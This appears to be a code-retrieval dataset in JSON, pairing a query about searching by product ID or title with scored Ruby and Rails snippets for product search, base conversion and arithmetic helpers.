"text": "def convert(n)\n # convert from source radix to decimal\n d = decimal(n)\n return d if to_radix == 10\n\n # convert from decimal to dest radix\n i = 0\n result = \"\"\n loop do\n i += 1\n r = d % to_radix\n d = d / to_radix\n\n p \"r=\"+r, \"to_repr=\"+to_representation[r]\n result << to_representation[r]\n\n break if (0 == d) and i > 10\n end\n\n result.reverse!\n end",
"title": ""
},
{
"docid": "842532e40b5b225e99d59c125c4e4287",
"score": "0.58760196",
"text": "def base_n(num, n)\n highest_pow = 0\n while num >= n**(highest_pow+1)\n highest_pow += 1\n end\n \n result = \"\"\n while highest_pow >= 0\n digit,num = num.divmod(n**highest_pow)\n result << digit.to_s\n highest_pow -= 1\n end\n \n result \n end",
"title": ""
},
{
"docid": "9fff3b33024b82193a93b5411ae2beab",
"score": "0.5858435",
"text": "def to_i(base=10)\n gsub!(',', '') if include?(',')\n old_to_i(base)\n end",
"title": ""
},
{
"docid": "5bb84878403ec115097580625968e551",
"score": "0.58530354",
"text": "def convert(value, factor = 1000)\n value * factor\nend",
"title": ""
},
{
"docid": "d6f1670447a0ab7cd49fe9b6b1115196",
"score": "0.58530176",
"text": "def convert_to_base_8(n)\n\tn.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "ca96467acabad59ba557ea5af3979886",
"score": "0.58457994",
"text": "def convert(value, from, to)\n return value if !value || value == 0\n value * get(from, :against => to)\n end",
"title": ""
},
{
"docid": "4b52693e0f12d9aac1cdcb4e9375aa94",
"score": "0.5833149",
"text": "def calculator(rosetta_stone)\r\n value, from_base, to_base = get_user_input\r\n split_value_array_string = get_split_value_array_string(value)\r\n possible = is_possible?(split_value_array_string, from_base, rosetta_stone)\r\n raise_error(possible, value, from_base)\r\n\r\n from_base <= 10 ? convert_from_below_ten_to_new_base(split_value_array_string, from_base, to_base, rosetta_stone)\r\n : convert_from_above_ten_base_to_to_base(split_value_array_string, from_base, to_base, rosetta_stone)\r\nend",
"title": ""
},
{
"docid": "5acb8615cf0e35700e843efe921ebbe5",
"score": "0.57866734",
"text": "def base_n_as_string_to_integer(num,n)\r\n int = 0\r\n arr = num.downcase.reverse.split('')\r\n arr.each_with_index do |chr, idx|\r\n int += NUMBERS[chr]*(n**idx)\r\n end\r\n int\r\nend",
"title": ""
},
{
"docid": "5ab91b543ceff95e531f85b0197c2c3c",
"score": "0.57765925",
"text": "def convert (input_value)\n input_value.to_f * multiplication_factor + linear_shift\n end",
"title": ""
},
{
"docid": "0ca51c8df68a38854f7eb1a3cc7a92c2",
"score": "0.57511777",
"text": "def nondec_digits(range,base=10,&b)\n yield 0 if range.first<=0\n (1..base-1).each { |x| nondec_digits_internal(x,x,range,base,&b) }\n end",
"title": ""
},
{
"docid": "2f49aac62be0a65006848a3a4d19cf9d",
"score": "0.57482547",
"text": "def power(base, exponent)\n result = 0\n if exponent == 0\n result = 1\n elsif exponent == 1\n result = base\n elsif exponent == -1\n result = 1 / base.round(2)\n else (exponent < -1 or exponent > 1)\n n = 3\n result = base * base\n while n <= exponent\n result = result * base\n n += 1\n end\n if exponent < -1\n result = 1 / result.round(2)\n end\n end\n result\nend",
"title": ""
},
{
"docid": "85353d34821c7c0674711b980a5d84d2",
"score": "0.57475805",
"text": "def reverse(number)\n new_number = number\n\n return number if number < 10\n power = 1\n until number/power < 10\n power *= 10\n end\n\n new_number % 10 * power + reverse(new_number/10)\n\nend",
"title": ""
},
{
"docid": "2e59bad065133f0c0525639c54b56ff3",
"score": "0.5741533",
"text": "def to_base_10(word)\n word.reverse.chars.map.with_index do |letter, index|\n # Avoiding crash when the letter requested doesn't exist in Booglan\n # alphabetic\n alphabetic_index = ALPHABETIC.find_index(letter) || 0\n\n alphabetic_index * 20 ** (word.size - (index + 1))\n end.reduce(\"+\")\n end",
"title": ""
}
] |
8c67cdadaf4388072ceb0a5428550cbc
|
Search by Product ID or Title
|
[
{
"docid": "d08f6e3dfe58176eaec10a86f4f711ea",
"score": "0.0",
"text": "def search_product(item)\n wait_for_ajax\n fill_in 'search', with: item\n wait_for_ajax\n search_btn.click\n wait_for_ajax\n end",
"title": ""
}
] |
[
{
"docid": "bbe5580163d3a9e19b80b2e3d4506331",
"score": "0.76533926",
"text": "def search\n # TODO use like operator\n @search_results = Product.where(title: params[:title])\n end",
"title": ""
},
{
"docid": "bc10e3be373986409ee16528e5cb708c",
"score": "0.73143536",
"text": "def products_search\n\t #render :text => \"<pre>\" + params.to_yaml and return\n\t\t@products = Product.where(\"title like ?\", \"%#{params[:search]}%\")\n\t\t@products = @products.where(category_id: params[:category_id]) if params[:category_id] != ''\n\t\t#render :text => \"<pre>\" + @products.to_yaml and return\n end",
"title": ""
},
{
"docid": "cb01b77f3a5e2b54b87684506b11ba92",
"score": "0.72621936",
"text": "def search\n @products = Product.where(\"name LIKE ? AND category_id LIKE ?\", \"%#{params[:search_term]}%\", \"%#{params[:search_product]}%\")\n .or(Product.where(\"description LIKE ? AND category_id LIKE ?\", \"%#{params[:search_term]}%\", \"%#{params[:search_product]}%\"))\n end",
"title": ""
},
{
"docid": "ddae708d18395077192570a4abe0a77e",
"score": "0.7056536",
"text": "def search_by_id(id)\n products_param = \"/products/\"\n p = JSON.parse(Net::HTTP.get(URI.parse(URI.escape(\"\" << API_URI << products_param << id.to_s << \"?\" << PARAM_PID << API_KEY))))\n end",
"title": ""
},
{
"docid": "cdf67c40f3f4e60e7fad4bbe4657da2f",
"score": "0.6980712",
"text": "def search_results\n # Using ActiveRecord to find the products that\n # match the user's keywords.\n end",
"title": ""
},
{
"docid": "d39e9de392f0517fe58029c7860df179",
"score": "0.69263375",
"text": "def search\n q = params[:query]\n @products = Array.new\n\n if q\n all = Product.all\n if !all.empty?\n all.each do |p|\n if (p[:description] =~ /#{q}/i) or (p[:title] =~ /#{q}/i)\n @products << p\n end\n end\n end\n end\n @products = @products.paginate(:page => params[:page], :per_page => 6)\n render 'index'\n end",
"title": ""
},
{
"docid": "e54878fe92a99488d394272b0da243ca",
"score": "0.6919768",
"text": "def search_product\r\n params[:name] = request.GET[:name] unless request.GET[:name].nil? # if there is no name param use old name\r\n redirect_to search_product_path(params[:name], 1) if params[:p].nil?\r\n params[:name] = params[:name].split # we are splitting our keyword into separate words\r\n if params[:name].length > 1 # whene someone is looking for many words\r\n search = \"%\"\r\n params[:name].each do |param|\r\n search += \"#{param}%\"\r\n end\r\n @products = Product.where(\"productTitle like '%#{search}'\")\r\n if @products[0].nil? # shorten phrase if nothing found\r\n params[:name] = params[:name].slice(0..params[:name].length - 2)\r\n @products = search_loop(params[:name])\r\n # if we found nothing after shortening we say that nothing is found\r\n flash[:error] = \"Sorry, we found nothing ;(\" if @products[0].nil?\r\n end\r\n else # when someone is looking for only one word\r\n @products = Product.where(\"productTitle like '%#{params[:name][0]}%'\")\r\n end\r\n end",
"title": ""
},
{
"docid": "260f7e5603ba3b3c1c44b50e240ccfa5",
"score": "0.6908061",
"text": "def search\n @search_results = Product.search_it(params[:search_it]) if params[:search_it].present?\n end",
"title": ""
},
{
"docid": "ef4bb331a01bdd71e7b60b461d40bb49",
"score": "0.6899934",
"text": "def search\n\t\t@keyword = params[:keyword];\n\t\t@products = Product.find(:all, :conditions => [\"brand like ? or name like ?\", \"%#{params[:keyword]}%\", \"%#{params[:keyword]}%\"])\n\tend",
"title": ""
},
{
"docid": "2233e0eee206e96c363ebe7df8506d53",
"score": "0.68587846",
"text": "def search\n @results = 0\n if !params[:searchinput].nil?\n @resutls = 1\n @searchinput = params[:searchinput]\n @searchcriteria = \"%#{params[:searchinput]}%\"\n # @productlist = Products.where(\"description like?\", @searchcriteria)\n # if @productlist.length > 0\n # @productid = @product[0].id\n # else\n # @productid =0\n # end\n # @productlist = Product.where(\"destination_id in (?) OR productnum like ?\", @productid ,@searchcriteria)\n end\n end",
"title": ""
},
{
"docid": "298c808227e081779622c31dfbb9a257",
"score": "0.6820115",
"text": "def search\n @all_products = Product.where([\"name LIKE ?\", \"%#{params[:search]}%\"])\n .or(Product.where([\"size LIKE ?\", \"% #{params[:search]}%\"]))\n .or(Product.where([\"category LIKE ?\", \"% #{params[:search]}%\"]))\n .or(Product.where([\"color LIKE ?\", \"%#{params[:search]}%\"]))\n .or(Product.where([\"description LIKE ?\", \"%#{params[:search]}%\"]))\n end",
"title": ""
},
{
"docid": "549ac67822b9f1535126e328668670ec",
"score": "0.67898464",
"text": "def index\n @search = params[:search]\n \n @products = Product.all\n @products = @products\n .where(\"title LIKE ? or body LIKE ?\", \"%#{@search}%\", \"%#{@search}%\") if @search.present?\n # @products = @products.page(params[:page]).per(5)\n end",
"title": ""
},
{
"docid": "e56ff2caea92a4f9fe6f8c868f9ae903",
"score": "0.67849016",
"text": "def search_results\n @keyword = params[:keyword]\n\n @products = Product.where(\"name LIKE ?\", \"%#{@keyword}%\")\n\n end",
"title": ""
},
{
"docid": "ee8ecc2393dc90188813486041ff3c6b",
"score": "0.6740372",
"text": "def search(q)\n Products.new(self,api_request(:productsearch,:searchtext => q))\n end",
"title": ""
},
{
"docid": "9baf3a2dec5ea551e7e4e75d963ce58b",
"score": "0.6735366",
"text": "def index\n products = if params[:search].present?\n Product.where(\"name ILIKE ?\", \"%#{params[:search]}%\")\n else\n Product.all\n end\n @products = products\n end",
"title": ""
},
{
"docid": "35b1507c1a3b8a9341864c984156ed03",
"score": "0.6729909",
"text": "def product_googleproductsearch(product_id, options = {})\n get(\"products/#{product_id}/googleproductsearch\", options)\n end",
"title": ""
},
{
"docid": "36f6e18c3274317ecfc0663322360228",
"score": "0.6708665",
"text": "def search_product(id: nil, aggregate: [], all_info: nil)\n raise %{\n \n Need a Vidal Product ID.\n\n } unless id.is_a? Fixnum || id.to_i.to_s == id\n aggregate = %w(\n molecules\n indications\n ald_detail\n smr_asmr\n atc_classification\n VIDAL_CLASSIFICATION\n product_range\n document\n reco\n UCDS\n UNITS\n ) if all_info == true\n @res = send_api_request(\"product/#{id}\", { 'aggregate' => aggregate })\n end",
"title": ""
},
{
"docid": "32d54a1c3f7c92eaa7a14cd195dab7f5",
"score": "0.66817194",
"text": "def index\n @products = Product.all\n # http://www.rymcmahon.com/articles/2\n # if search parameters match, list matching items in descending order \n #if none of the items match still display all along with the \"none found\" message, as per products/index.html.erb\n if params[:search]\n @products = Product.search(params[:search]).order(\"title DESC\")\n else\n @products = Product.all.order(\"title DESC\")\n end\n end",
"title": ""
},
{
"docid": "c214cb19780ac582948b3811e022692b",
"score": "0.6680274",
"text": "def search_by_category\n category_list\n puts \"SELECT A CATEGORY TO SEE ALL PRODUCTS IN THAT CATEGORY(USE ID)\"\n search_in = gets.to_i\n results = Product.search_where(\"products\", \"category_id\", search_in)\n results.each do |r|\n r.display_attributes\n end\n end",
"title": ""
},
{
"docid": "abdfad125cebebe14b3af81abd3e6e68",
"score": "0.6677041",
"text": "def search_results\n \n # if search parameters match, list matching items in descending order \n #if none of the items match still display all along with the \"none found\" message, as per products/index.html.erb\n if params[:search]\n @products = Product.search(params[:search]).order(\"title DESC\")\n else\n @products = Product.all.order(\"title DESC\")\n end\n end",
"title": ""
},
{
"docid": "a25c3ea7ee58d2b2ce5214ffe9cdfc51",
"score": "0.6674187",
"text": "def search(params)\n db = connect_to_db\n\n search = params[\"search\"].capitalize\n\n search_results = db.execute(\"SELECT Name,Description,Rating,Price,Productid FROM products WHERE Name = (?)\",search)\n \n return search_results\n end",
"title": ""
},
{
"docid": "b109b59633346ce45351a2d2758c786d",
"score": "0.6661461",
"text": "def ac_products\n @products = Product.where([\"company_id = ? AND (code LIKE ? OR name LIKE ?)\", params[:company_id], \"%\" + params[:q] + \"%\", \"%\" + params[:q] + \"%\"])\n \n render :layout => false\n end",
"title": ""
},
{
"docid": "208aada58ebf4b99920b435cee849dea",
"score": "0.663677",
"text": "def search()\n name = params[:search_form][:search_bar]\n name = name.downcase\n cat = params[:search_form][:category]\n\n if (name.strip != \"\" || !cat.nil?)\n @product_results = Product.where(\"LOWER(unique_name) LIKE ?\", \"%#{name}%\")\n if !cat.nil? && cat.to_i >= 0\n @product_results = @product_results.where(:category_id => cat)\n end\n else\n @product_results = Product.all\n end\n render :layout=>false\n end",
"title": ""
},
{
"docid": "208aada58ebf4b99920b435cee849dea",
"score": "0.663677",
"text": "def search()\n name = params[:search_form][:search_bar]\n name = name.downcase\n cat = params[:search_form][:category]\n\n if (name.strip != \"\" || !cat.nil?)\n @product_results = Product.where(\"LOWER(unique_name) LIKE ?\", \"%#{name}%\")\n if !cat.nil? && cat.to_i >= 0\n @product_results = @product_results.where(:category_id => cat)\n end\n else\n @product_results = Product.all\n end\n render :layout=>false\n end",
"title": ""
},
{
"docid": "c169ff3f24e37a5a663b208ef1833e8f",
"score": "0.66337293",
"text": "def index\n #if params[:title]\n #@productos = Producto.all.where('lower(title) LIKE ?', \"%#{params[:title]}%\")\n #@productos = Producto.all.where(\"lower(title) LIKE :title\", title: @parameter)\n # @productos = Producto.all.where(\"title LIKE :title\", title: @parameter)\n \n #else\n # @productos = Producto.all\n #end\n if params[:title].blank? \n @productos = Producto.all \n else \n @parameter = params[:title].downcase \n @productos = Producto.all.where(\"lower(nombre) LIKE :title\", title: \"%#{@parameter}%\") \n end \n end",
"title": ""
},
{
"docid": "c4a1d219b60953916842460327270f51",
"score": "0.66252685",
"text": "def search\n if params[:category_id].blank?\n @products = Product.where(\"name LIKE ?\", \"%#{params[:search_term]}%\")\n @cate = nil\n else\n @products = Category.find(params[:category_id]).products.where(\"name LIKE ?\", \"%#{params[:search_term]}%\")\n @cate = Category.find(params[:category_id])\n end\n end",
"title": ""
},
{
"docid": "157b356203fe3a01c2f521306d23a7af",
"score": "0.66067004",
"text": "def search_for_item\n search_service.fetch(params[:id])\n end",
"title": ""
},
{
"docid": "39c12be6d35f243d7d4ae24db774a67a",
"score": "0.65901273",
"text": "def search_results\n\t\t#@results_of_keyword_search = Product.where(\"product_name LIKE ? OR product_description LIKE ?\", keywords, keywords)\n\t\t@results_of_keyword_search = Product.keyword_search(params[:search_keywords])\n\tend",
"title": ""
},
{
"docid": "598999a38c3d0080989785e1648698c6",
"score": "0.6575546",
"text": "def search\n raw_products = FashionAdvisorCore::search_product(search_param,current_user.id)\n if raw_products != nil\n render json: { status: 0, data: {products: raw_products} }\n else\n render json: { status: 1, data: nil}\n end\n end",
"title": ""
},
{
"docid": "5f963aac263571e054376a6cb4d53ee4",
"score": "0.6571626",
"text": "def index\n @search_term = params[\"search\"].try(:[], \"input_search\")\n\n if params[\"search\"].present? && !params[\"search\"][\"input_search\"].blank?\n query = \"%#{params['search']['input_search']}%\"\n @products = Product.joins(:brand).where(\"products.name ILIKE ? OR brands.name ILIKE ?\", query, query)\n else\n @products = Product.all\n end\n end",
"title": ""
},
{
"docid": "098fe30765716d3aa9b88a574c183ac0",
"score": "0.6567969",
"text": "def search_by_product_id(product_id, params = {})\n response, status = BeyondApi::Request.get(@session,\n \"/product-view/categories/search/find-by-product\",\n params.merge(product_id: product_id))\n\n handle_response(response, status)\n end",
"title": ""
},
{
"docid": "178cb34d9bf0c6540cb83ccfb5cad64c",
"score": "0.65581214",
"text": "def search_producto\n\t\tproductos = Producto.all\n\n\t\tproductos = productos.where([\"nombre ILIKE ?\",\"%#{nombre}%\" ]) if nombre.present?\n\t\tproductos = productos.where([\"category_id = ?\", category_id]) if category_id.present?\n\t\tproductos = productos.where([\"type_id = ?\", type_id]) if type_id.present?\n\t\tproductos = productos.where([\"marca_id =m?\", marca_id]) if marca_id.present?\n\t\n\t\treturn productos\n\n\tend",
"title": ""
},
{
"docid": "30bfb2fcc39efc1472a0fc035d5efdf5",
"score": "0.6551542",
"text": "def search_by_title\n @items = Item.find(:all, \n :conditions => [\"title LIKE ?\", \"%#{params[:search]}%\"], \n :select => \"DISTINCT title\",\n :order => 'title ASC')\n end",
"title": ""
},
{
"docid": "323e2c6d7f88c33a09fb8b58e3c1a240",
"score": "0.6526485",
"text": "def search_product_by_params(search_text, color_id, brand_id)\n products_uri_param = \"/products?\"\n products_specific_params = \"\"\n\n unless search_text.blank?\n add_filter_to_products_uri(products_specific_params, 1, search_text)\n end\n\n unless color_id.blank?\n add_filter_to_products_uri(products_specific_params, 2, color_id)\n end\n\n unless brand_id.blank?\n add_filter_to_products_uri(products_specific_params, 3, brand_id)\n end\n p = [\"products\" => \"\"]\n unless search_text.blank? && brand_id.blank? && brand_id.blank?\n p = JSON.parse(Net::HTTP.get(URI.parse(URI.escape(\"\" << API_URI << products_uri_param << PARAM_PID << API_KEY << products_specific_params))))\n end\n end",
"title": ""
},
{
"docid": "1e8f75f65106bf90ed250ede88bda39d",
"score": "0.6479839",
"text": "def show\n\n if params[:search_term].present?\n \n @products = Product.where([\"title LIKE ?\", \"%#{params[:search_term]}%\"])\n\n render \"index\"\n # @products = Product.where([\"title LIKE ?\", \"%#{params[:search_term]}%\"])\n end \n if @product.ratings.blank?\n @average_rating = 0\n else\n @average_rating = @product.ratings.average(:rating).round(2) \n end\n\n @similar_products = Category.find(@product.category.id).products.select{ |p| p.id != @product.id }\n \n \n \n username\n end",
"title": ""
},
{
"docid": "c78b662f5c8666f5eadc1263c0440980",
"score": "0.64757353",
"text": "def show\n\t\tparams[:q] = \"\" if params[:q].blank?\n\n\t\t@shop = Shop.find(params[:id])\n\t\t@products = @shop.products.where(\"lower(name) like :name\", { name: \"%#{params[:q].downcase}%\" })\n\tend",
"title": ""
},
{
"docid": "ae01a02f772cb97839520046838e9051",
"score": "0.647419",
"text": "def search_by_location\n location_list\n puts \"SELECT A LOCATION TO SEE ALL PRODUCTS IN THAT LOCATION(USE ID)\"\n search_in = gets.to_i\n results = Product.search_where(\"products\", \"category_id\", search_in)\n results.each do |r|\n r.display_attributes\n end\n end",
"title": ""
},
{
"docid": "485c9844cf138949aa0896ba5d361c13",
"score": "0.6470457",
"text": "def index\n if params[:search]\n @searchUpcase = params[:search].upcase\n @filter = params[:filter]\n if @filter == 'line'\n @line = Company.where(\"line LIKE ? OR line LIKE ?\", \"#{params[:search]}%\", \"#{@searchUpcase}%\").last\n @products = @line.products \n else\n @products = Product.where(\"#{@filter} LIKE ? OR #{@filter} LIKE ?\", \"%#{params[:search]}%\",\"%#{@searchUpcase}%\")\n end \n else\n @products = Product.all.take(100)\n end\n end",
"title": ""
},
{
"docid": "54f99c39d7682bcc92ef7f71cf463dba",
"score": "0.64635164",
"text": "def search\n add_breadcrumb 'Search results'\n\n # Replaces commas by spaces. Removes initial and final spaces before.\n search_expression = filter_search_terms\n @search_terms = search_expression.split(' ')\n\n @products = Product.search_product search_expression, category, params\n respond_to do |format|\n format.html { render action: 'search_results' }\n format.json { render json: @products }\n end\n end",
"title": ""
},
{
"docid": "f45874ea8c1b3e5e27822bfd27e44ed4",
"score": "0.6454273",
"text": "def index\n @search = Product.search do\n fulltext params[:search]\n end\n @products = @search.results\n end",
"title": ""
},
{
"docid": "ed35fbcbd50bf003097b39a173142c8d",
"score": "0.64267254",
"text": "def index\n\n if params[:search]\n @user=current_user\n @search [email protected] do\n fulltext params[:search]\n end\n @products = @search.results\n else\n @user=current_user\n @products = @user.products\n end\n end",
"title": ""
},
{
"docid": "55ee39d8974ecf83af83e7b5494c408d",
"score": "0.6415677",
"text": "def sku_search\n @q = params[:q]\n\n return unless @q\n\n begin\n @product = Spree::Variant.find_by(sku: @q).product\n rescue\n @product = nil\n end\n end",
"title": ""
},
{
"docid": "e47a8166569a44851ace7fd11cb63907",
"score": "0.6403042",
"text": "def search\n input = \"%#{params[:input]}%\"\n @items = Item.where(\"title like ? OR description like ?\", input, input)\n end",
"title": ""
},
{
"docid": "4428b10fb8d72e0fafb98ff362e8599a",
"score": "0.6400401",
"text": "def search\n @search = Product.search do\n paginate(:page => params[:page], :per_page => 10)\n fulltext params[:query]\n end\n @products = @search.results\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.json { render :action => \"index\" }\n end\n end",
"title": ""
},
{
"docid": "1c4756068e584f32bcd6d644f5004999",
"score": "0.63949674",
"text": "def index\n search_txt = params['search_txt']\n if search_txt != nil && search_txt != \"\"\n @search_txt = search_txt\n @products = Product.where(\"name LIKE '%#{search_txt}%'\").order(\"created_at desc\").page params[:page]\n else\n @products = Product.order(\"created_at desc\").page params[:page]\n end\n end",
"title": ""
},
{
"docid": "f6a7ee5e5883b73ab8312cb47c64c981",
"score": "0.6394543",
"text": "def search_loop\r\n search = \"%\"\r\n params[:name].each do |param|\r\n search += \"#{param}%\"\r\n end\r\n @products = Product.where(\"productTitle like '%#{search}'\")\r\n end",
"title": ""
},
{
"docid": "3478494cc0ac0004c775299779d5f172",
"score": "0.6390957",
"text": "def search\n # get parameters from params and save it into session\n @condition = refresh_summaries_search_condition_help(params)\n # get product data list with pagination.\n @products = search_summary(@condition)\n # get summary data.\n @summary = domestic_sold_product(@condition) if @condition[\"is_domestic\"] == '1'\n @summary = offshore_sold_product(@condition) if @condition[\"is_domestic\"] != '1'\n # render index page\n render 'index'\n end",
"title": ""
},
{
"docid": "35dddee5275b90a77b8d78cfe1580224",
"score": "0.63889515",
"text": "def search_results\n \n if params[:keyword_button]\n @found_products = Product.keyword_search(params[:search_keywords],params[:searchables])\n end\n \n if params[:status_button]\n @found_products = Product.status_search(params[:status_search])\n end\n \n end",
"title": ""
},
{
"docid": "55f26646572da058b3071aa8bf7d928e",
"score": "0.63816607",
"text": "def search_for_product(product)\n\tputs \"Searching for #{product}\"\nend",
"title": ""
},
{
"docid": "a41154778dbd30d362f1247e60d33047",
"score": "0.6380322",
"text": "def index\r\n \r\n @product = Product.new\r\n w=\"1=1\"\r\n o=\"bh\"\r\n @search=params[:search]\r\n @order=params[:order]\r\n if params[:search] and !params[:search].empty?\r\n w=\"title like ? or bh like ? \",\"%#{params[:search]}%\",\"%#{params[:search]}%\"\r\n end\r\n if params[:order] and !params[:order].empty?\r\n o=\"#{params[:order]}\"\r\n end\r\n @products = Product.paginate(:page => params[:page], :per_page => 10).where(w).order(o)\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @products }\r\n end\r\n end",
"title": ""
},
{
"docid": "e680e26110979b3b2c947206668d5371",
"score": "0.63795495",
"text": "def search_results\n @keyword = params[:keyword]\n \n @books = Book.where(\"title LIKE ? or Description like ?\", \"%#{@keyword}%\",\"%#{@keyword}%\")\n end",
"title": ""
},
{
"docid": "0a041d060dfc1e977a0223b7f353c7a0",
"score": "0.6363493",
"text": "def ac_products\n @products = Product.where([\"(code LIKE ? OR name LIKE ?)\", \"%\" + params[:q] + \"%\", \"%\" + params[:q] + \"%\"])\n \n render :layout => false\n end",
"title": ""
},
{
"docid": "f52a78509823aa0c3f21c7020c7894a1",
"score": "0.63615584",
"text": "def set_search_product\n @search_product = SearchProduct.find(params[:id])\n end",
"title": ""
},
{
"docid": "8468b54377cbfd4af722949c7c571a62",
"score": "0.63470215",
"text": "def where_title_is(title)\n results = DATABASE.execute(\"SELECT * FROM products WHERE title = '#{title}'\") \n results_as_objects = Product.new(results[0]) \n \n return results_as_objects\n end",
"title": ""
},
{
"docid": "d1bea6f951cd7b964b8b6299f81c5d5a",
"score": "0.6330894",
"text": "def index\n #\n #OR UPPER(product_variants.name) like ?\n \n \n if params.has_key?(:search) \n @search = \"Search for \" + params[:search].upcase\n @searchvalue = params[:search].upcase \n \n @media_tape_heads = MediaTapeHead.joins(:product_variant).where(\"UPPER(media_tape_heads.name) like ? OR UPPER(product_variants.name) like ?\",\"%#{@searchvalue}%\", \"%#{@searchvalue}%\")\n .paginate(:page => params[:page], :per_page => 25)\n \n else\n \n @media_tape_heads = MediaTapeHead.all.order(\"name\").paginate(:page => params[:page], :per_page => 25)\n @media_tape_head_recent = MediaTapeHead.limit(10).order(\"created_at DESC\")\n end\n \n \n end",
"title": ""
},
{
"docid": "96da73441d192afa537c3ccc367ff797",
"score": "0.6326124",
"text": "def search_results( title = @title, recipes = Recipe.all )\n\n if title \n setup_keys()\n \n # if present in db , then \n recipe_result = recipes.find_by(:title => title)\n if recipe_result.nil?\n \n @recipes = fetch_from_api( title )\n else\n\n @recipes = recipes.where(\"title = ?\", title)\n end \n\n render \"recipes/search_results\"\n end\n end",
"title": ""
},
{
"docid": "3013868d822aedca052c467acbfaa2be",
"score": "0.6310922",
"text": "def index\n raw_input = params[:search].to_s\n formatted_input = raw_input.gsub(\" \", \"+\")\n\n @products = HTTParty.get(\"http://api.shopstyle.com/api/v2/products?pid=uid5001-30368749-95&fts='#{formatted_input}'&offset=0&limit=20\")[\"products\"]\n end",
"title": ""
},
{
"docid": "a4493c5c5e35f1349c6e37a21bdf521a",
"score": "0.6304906",
"text": "def index\n @products = Product.search(params[:search])\n end",
"title": ""
},
{
"docid": "b74603f521bc7265cd751078bcf081f3",
"score": "0.6303869",
"text": "def index\n @products = do_search(params[:search])\n end",
"title": ""
},
{
"docid": "f996aa75073e6389f5e0e8c0c3547bd8",
"score": "0.6302529",
"text": "def search_params\n params.require(:search).permit(:product_id, :text)\n end",
"title": ""
},
{
"docid": "108bc98656e629aa2d24f0a1b07ad3e9",
"score": "0.6300093",
"text": "def search\n @products = Product.where(\"UPPER(name) LIKE ?\", \"%\" + params[:q].upcase + \"%\")\n end",
"title": ""
},
{
"docid": "c64d579314a6ceb1a3cc49663080ae9f",
"score": "0.629925",
"text": "def searchanitem\n end",
"title": ""
},
{
"docid": "7ab1ac7f30c3e149d0d71c6c754d9e2b",
"score": "0.62990016",
"text": "def search\n @products = Product.search(params[:query], params[:type])\n render partial: 'results'\n end",
"title": ""
},
{
"docid": "b6ef1284d5265c114c6070a31d961a5f",
"score": "0.62954164",
"text": "def index\n @query = params[:type] || 'all'\n if query = params[:search]\n @query = query\n @products = Product.search_name_and_description(query)\n @info_title = \"Results for #{query}\"\n elsif type = params[:type]\n @products = Product.find_by_category(type)\n @products.count > 1\n @info_title = type\n else\n @products = Product.all\n @info_title = nil\n end\n end",
"title": ""
},
{
"docid": "2607be8c22e2202d35cf2cca3560086f",
"score": "0.6295184",
"text": "def index\n # binding.pry\n @title_keyword = params[:title_keyword]\n @group = Group.find_by(id: params[:group_id])\n # @all_product_id = @group.products.select(\"id\").pluck(:id)\n #@products = Product.where(group_id: params[:group_id]).includes([:group, :user])\n @products = Product.includes([:user]).where('products.group_id = ? && products.title LIKE(?)', \"#{params[:group_id]}\", \"%#{params[:title_keyword]}%\").page(params[:page]).per(10)\n end",
"title": ""
},
{
"docid": "fc5a3e4aae5ae1b33057f713373d9375",
"score": "0.6291146",
"text": "def find_items_by_product(product_id, per_page)\n str = __method__.to_s.camelize\n operation_name = str.gsub(str.first, str.first.downcase)\n search_param = \"productId=#{product_id}\"\n ebay_items = EbayFindItem.new(get_connect(build_uri(operation_name, search_param, per_page)))\n ebay_items.all_items\n end",
"title": ""
},
{
"docid": "1b88cb4c332779178b3f9ea7e92e1cbb",
"score": "0.6287298",
"text": "def searchable_name\n \"#{product.name} - #{short_desc}\"\n end",
"title": ""
},
{
"docid": "9a20ab9c74cde2b2122fa1e3ea049a0d",
"score": "0.6285338",
"text": "def filter_to_search_param(o)\n t = case o\n when ProductCat\n [\"c\", o.id]\n when Manufacturer\n [\"m\", o.id]\n when Supplier\n [\"s\", o.id]\n when Tag\n [\"t\", o.name]\n when ClippingSource\n [\"s\", o.id]\n end\n return t if t && o.id\n end",
"title": ""
},
{
"docid": "42f57961978068ffb035a68745f279ca",
"score": "0.6282073",
"text": "def product(options = {})\n ProductResultSet.new search(:product, options)\n end",
"title": ""
},
{
"docid": "514d9065aaa5d4477baf2f14b181a82a",
"score": "0.6280793",
"text": "def search\n @items = Item.title_search(params[:search_term])\n respond_with @items\n end",
"title": ""
},
{
"docid": "cbec268490995eab9970ae0d162699e8",
"score": "0.62789404",
"text": "def search()\n condition = ''\n values = []\n unless params[:search].nil?\n search_param = params[:search][:value]\n condition_t = ['name LIKE ? or description LIKE ?']\n values_t = [\"%#{search_param}%\", \"%#{search_param}%\"]\n\n unless params[:search][:product_type].blank?\n condition << ' and product_type = ? '\n values << params[:search][:product_type]\n end\n if valid_integer?(params[:search][:price_to]) && valid_integer?(params[:search][:price_from])\n unless params[:search][:price_to].blank? && params[:search][:price_from].blank?\n if params[:search][:price_to].blank?\n condition << ' and price >= ? '\n values << params[:search][:price_from]\n elsif params[:search][:price_from].blank?\n condition << ' and price <= ? '\n values << params[:search][:price_to]\n else\n condition << ' and (price between ? AND ?) '\n values << params[:search][:price_from]\n values << params[:search][:price_to]\n end\n end\n else\n params[:search][:price_from] = nil\n params[:search][:price_to] = nil\n end\n scope = [condition.sub('and', '')] + values\n\n product_translations = ProductTranslation.all(:select => :product_id ,\n :conditions => condition_t + values_t).collect{|translation| translation.product_id}\n @searches = Product.where('id in (?)', product_translations.uniq)\n @searches = @searches.where(scope).page(params[:page])\n end\n end",
"title": ""
},
{
"docid": "a8bdd227979940df06f015ab0f0f503a",
"score": "0.6271487",
"text": "def search_for_a_product(search_string=@product_text)\r\n selenium.wait_for_element_to_present @search_field\r\n selenium.type @search_field, search_string\r\n selenium.click @find_button\r\n selenium.wait_for_page_to_load @timeout_milli_secs\r\n end",
"title": ""
},
{
"docid": "cee4d1750e67cd71534c7ad8bb6a3648",
"score": "0.62704206",
